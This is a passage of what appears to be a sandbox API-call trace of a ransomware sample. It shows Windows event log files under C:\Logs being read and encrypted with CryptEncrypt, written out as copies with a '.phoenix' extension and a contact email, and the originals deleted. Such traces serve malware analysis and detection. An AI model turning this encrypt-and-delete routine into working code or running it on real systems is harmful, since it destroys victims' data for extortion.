	[0222.360] CryptEncrypt (in: hKey=0x151180, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0222.360] CryptDestroyKey (hKey=0x151180) returned 1
	[0222.360] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0222.360] CryptDestroyKey (hKey=0x151280) returned 1
	[0222.360] CloseHandle (hObject=0x2c0) returned 1
	[0222.360] CloseHandle (hObject=0x2f0) returned 1
	[0222.362] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1
	[0222.364] SetEvent (hEvent=0x278) returned 1
	[0222.364] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0222.364] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.364] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0222.364] CloseHandle (hObject=0x2f0) returned 1
	[0222.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 0x20
	[0222.364] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.364] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.364] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.364] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.364] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.365] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0222.365] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.365] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0222.409] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0222.409] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0222.412] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151680) returned 1
	[0222.412] CryptSetKeyParam (hKey=0x151680, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.412] CryptEncrypt (in: hKey=0x151680, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0222.412] CryptDestroyKey (hKey=0x151680) returned 1
	[0222.412] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0222.412] CryptDestroyKey (hKey=0x151640) returned 1
	[0222.412] CloseHandle (hObject=0x2f0) returned 1
	[0222.412] CloseHandle (hObject=0x2c0) returned 1
	[0222.414] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1
	[0222.415] SetEvent (hEvent=0x278) returned 1
	[0222.415] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0222.415] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.416] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=1052672) returned 1
	[0222.416] CloseHandle (hObject=0x2c0) returned 1
	[0222.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 0x20
	[0222.416] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0222.416] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0222.416] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.416] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0222.416] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0222.417] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1517c0) returned 1
	[0222.417] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.417] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x101000, lpOverlapped=0x0) returned 1
	[0222.470] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x101010, dwBufLen=0x101010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x101010) returned 1
	[0222.471] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x101010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x101010, lpOverlapped=0x0) returned 1
	[0222.536] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151080) returned 1
	[0222.536] CryptSetKeyParam (hKey=0x151080, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0222.536] CryptEncrypt (in: hKey=0x151080, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0222.536] CryptDestroyKey (hKey=0x151080) returned 1
	[0222.537] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0222.537] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0222.537] CloseHandle (hObject=0x2c0) returned 1
	[0222.537] CloseHandle (hObject=0x2f0) returned 1
	[0223.197] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx")) returned 1
	[0223.198] SetEvent (hEvent=0x278) returned 1
	[0223.201] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0223.201] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0223.202] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0223.202] CloseHandle (hObject=0x2f0) returned 1
	[0223.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20
	[0223.202] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.202] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0223.202] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.202] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.202] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0223.203] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x1513c0) returned 1
	[0223.203] CryptSetKeyParam (hKey=0x1513c0, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.203] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.280] CryptEncrypt (in: hKey=0x1513c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0223.280] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0223.282] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151580) returned 1
	[0223.282] CryptSetKeyParam (hKey=0x151580, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.282] CryptEncrypt (in: hKey=0x151580, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80, dwBufLen=0x80 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x80) returned 1
	[0223.282] CryptDestroyKey (hKey=0x151580) returned 1
	[0223.282] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x132, lpOverlapped=0x0) returned 1
	[0223.282] CryptDestroyKey (hKey=0x1513c0) returned 1
	[0223.282] CloseHandle (hObject=0x2f0) returned 1
	[0223.282] CloseHandle (hObject=0x2c0) returned 1
	[0223.284] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1
	[0223.285] SetEvent (hEvent=0x278) returned 1
	[0223.285] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0223.285] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0223.285] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0223.286] CloseHandle (hObject=0x2c0) returned 1
	[0223.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20
	[0223.286] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.286] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0223.286] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.286] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.286] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0223.286] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151640) returned 1
	[0223.286] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.286] ReadFile (in: hFile=0x2c0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.328] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0223.328] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0223.330] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151140) returned 1
	[0223.330] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.330] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90, dwBufLen=0x90 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x90) returned 1
	[0223.330] CryptDestroyKey (hKey=0x151140) returned 1
	[0223.330] WriteFile (in: hFile=0x2f0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x142, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x142, lpOverlapped=0x0) returned 1
	[0223.330] CryptDestroyKey (hKey=0x151640) returned 1
	[0223.330] CloseHandle (hObject=0x2c0) returned 1
	[0223.330] CloseHandle (hObject=0x2f0) returned 1
	[0223.332] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 1
	[0223.333] SetEvent (hEvent=0x278) returned 1
	[0223.333] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0223.333] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0223.334] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0223.334] CloseHandle (hObject=0x2f0) returned 1
	[0223.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 0x20
	[0223.334] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.334] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0223.334] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.334] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.334] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0223.335] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfda8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe04 | out: phKey=0x2ccfe04*=0x151140) returned 1
	[0223.335] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.335] ReadFile (in: hFile=0x2f0, lpBuffer=0x835020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2ccfe2c, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesRead=0x2ccfe2c*=0x11000, lpOverlapped=0x0) returned 1
	[0223.378] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010, dwBufLen=0x11010 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x11010) returned 1
	[0223.378] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x11010, lpOverlapped=0x0) returned 1
	[0223.381] CryptImportKey (in: hProv=0x1267b0, pbData=0x2ccfd9c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2ccfe08 | out: phKey=0x2ccfe08*=0x151500) returned 1
	[0223.381] CryptSetKeyParam (hKey=0x151500, dwParam=0x1, pbData=0x2ccfeb0, dwFlags=0x0) returned 1
	[0223.381] CryptEncrypt (in: hKey=0x151500, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70, dwBufLen=0x70 | out: pbData=0x835020*, pdwDataLen=0x2ccfdc8*=0x70) returned 1
	[0223.381] CryptDestroyKey (hKey=0x151500) returned 1
	[0223.381] WriteFile (in: hFile=0x2c0, lpBuffer=0x835020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2ccfe10, lpOverlapped=0x0 | out: lpBuffer=0x835020*, lpNumberOfBytesWritten=0x2ccfe10*=0x122, lpOverlapped=0x0) returned 1
	[0223.381] CryptDestroyKey (hKey=0x151140) returned 1
	[0223.381] CloseHandle (hObject=0x2f0) returned 1
	[0223.381] CloseHandle (hObject=0x2c0) returned 1
	[0223.383] DeleteFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-MUI%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-mui%4admin.evtx")) returned 1
	[0223.384] SetEvent (hEvent=0x278) returned 1
	[0223.384] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2ccfeb0 | out: pbBuffer=0x2ccfeb0) returned 1
	[0223.384] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0223.385] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2ccfe50 | out: lpFileSize=0x2ccfe50*=69632) returned 1
	[0223.385] CloseHandle (hObject=0x2c0) returned 1
	[0223.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx")) returned 0x20
	[0223.385] GetFileAttributesW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0223.385] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0223.385] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.385] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ccfdf0 | out: lpNewFilePointer=0x0) returned 1
	[0223.385] CreateFileW (lpFileName="\\\\?\\C:\\Logs\\Microsoft-Windows-NetworkProfile%4Operational.evtx.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\logs\\microsoft-windows-networkprofile%4operational.evtx.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
